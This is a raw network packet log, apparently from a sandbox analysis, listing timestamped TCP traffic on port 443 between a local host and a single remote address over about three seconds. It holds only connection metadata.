Nov 20, 2024 06:40:54.112278938 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.112382889 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.112405062 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.113218069 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.113230944 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.140260935 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.152208090 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.152231932 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.152676105 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.152681112 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.308860064 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.308939934 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.308990955 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.309020042 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.309055090 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.309096098 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.310014009 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.310036898 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.310050011 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.310065031 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.353224993 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.353287935 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.353347063 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.353492022 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.353508949 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.647434950 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.647913933 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.647964001 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.648468018 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.648480892 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.746870041 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.747138977 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.747222900 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.747301102 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.747301102 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.747355938 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.747383118 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.749845028 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.749905109 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.749970913 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.750104904 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.750127077 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.759258986 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.759681940 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.759721041 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.760185957 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.760200977 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.762554884 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.762871981 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.762933969 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.763241053 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.763254881 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.794233084 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.794595957 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.794629097 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.795008898 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.795018911 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857260942 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857403040 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857449055 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.857465982 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857501030 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857548952 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.857743979 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.857762098 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.857774019 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.857780933 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.865942001 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.868809938 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.868853092 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.868926048 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.869066954 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.869079113 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.869252920 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.869323015 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.869369984 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.869369984 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.869394064 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.869406939 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.871961117 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.872009039 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.872065067 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.872194052 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.872205019 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.900835037 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.901009083 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.901079893 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.901124001 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.901146889 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.901170969 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.901184082 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.903680086 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.903726101 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.903870106 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.903933048 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.903950930 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.990958929 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.991754055 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.991795063 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.992439032 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.992449999 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.090029955 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.090311050 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.090369940 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.090425968 CET	50028	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.090445995 CET	443	50028	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.093576908 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.093673944 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.093780994 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.093914986 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.093936920 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.398719072 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.399266958 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.399293900 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.399720907 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.399727106 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.502438068 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.502726078 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.502825975 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.502845049 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.503063917 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.503092051 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.503112078 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.503118992 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.503132105 CET	50029	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.503135920 CET	443	50029	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.505661011 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.505769014 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.505872965 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.506021023 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.506052971 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.519484997 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.519927979 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.519953012 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.520370960 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.520380020 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.536911964 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.537321091 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.537342072 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.537879944 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.537885904 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.554795027 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.555731058 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.555788994 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.556502104 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.556509972 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.632983923 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.633207083 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.633292913 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.633574963 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.633595943 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.633610964 CET	50030	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.633616924 CET	443	50030	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.639203072 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.639272928 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.639353991 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.639753103 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.639774084 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.643943071 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.645541906 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.645620108 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.645633936 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.645654917 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.645809889 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.645843983 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.645853996 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.645864964 CET	50031	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.645869970 CET	443	50031	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.648485899 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.648507118 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.648806095 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.649404049 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.649415016 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.676647902 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.680030107 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.680119991 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.680207014 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.680207014 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.680253029 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.680295944 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.682367086 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.682399035 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.682632923 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.682760000 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.682770967 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.731122017 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.732403040 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.732466936 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.732985020 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.733000040 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.829984903 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.830296993 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.830507994 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.830508947 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.830508947 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.832921028 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.832947016 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:55.833175898 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.833297968 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:55.833309889 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.136049032 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.136085033 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.153275967 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.153708935 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.153742075 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.154115915 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.154123068 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.367125034 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.367290974 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.367408991 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.367506981 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.367548943 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.367578030 CET	50034	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.367594004 CET	443	50034	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.370024920 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.370445013 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.370467901 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.370538950 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.370580912 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.370763063 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.370898008 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.370903969 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.371041059 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.371054888 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.371248960 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.371522903 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.371539116 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.371889114 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.371893883 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.375963926 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.376300097 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.376326084 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.376775026 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.376802921 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.470597029 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.470701933 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.470753908 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.471597910 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.471616983 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.471626997 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.471633911 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.473546028 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.473720074 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.473782063 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.474630117 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.474647999 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.474682093 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.474692106 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.477099895 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.477159023 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.477360010 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.478072882 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.478091002 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.480102062 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.480140924 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.480297089 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.480441093 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.480465889 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.486495018 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.486566067 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.486669064 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.486702919 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.486788988 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.486849070 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.487437963 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.487437963 CET	50035	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.487468958 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.487493992 CET	443	50035	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.489542961 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.489586115 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.489715099 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.490518093 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.490542889 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.556797028 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.557413101 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.557446003 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.558182955 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.558192968 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.657397032 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.657501936 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.657644987 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.662512064 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.662535906 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.662549973 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.662555933 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.670805931 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.670846939 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:56.670938015 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.671276093 CET	50043	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:56.671286106 CET	443	50043	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.016824961 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.017362118 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.017396927 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.017962933 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.017971039 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.119726896 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.120210886 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.120284081 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.120335102 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.120356083 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.120367050 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.120373011 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.123167992 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.123205900 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.123382092 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.123531103 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.123543024 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.128669024 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.129050970 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.129080057 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.129489899 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.129494905 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.141915083 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.142255068 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.142278910 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.142661095 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.142668009 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.152405977 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.152708054 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.152714968 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.153091908 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.153095007 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.227813959 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.228369951 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.228421926 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.228493929 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.228502989 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.228514910 CET	50041	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.228518963 CET	443	50041	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.231026888 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.231059074 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.231209040 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.231364965 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.231380939 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.242477894 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.242701054 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.242755890 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.243762016 CET	50042	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:57.243782997 CET	443	50042	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:57.243793964 CET	50042	443	192.168.2.5	13.107.246.45
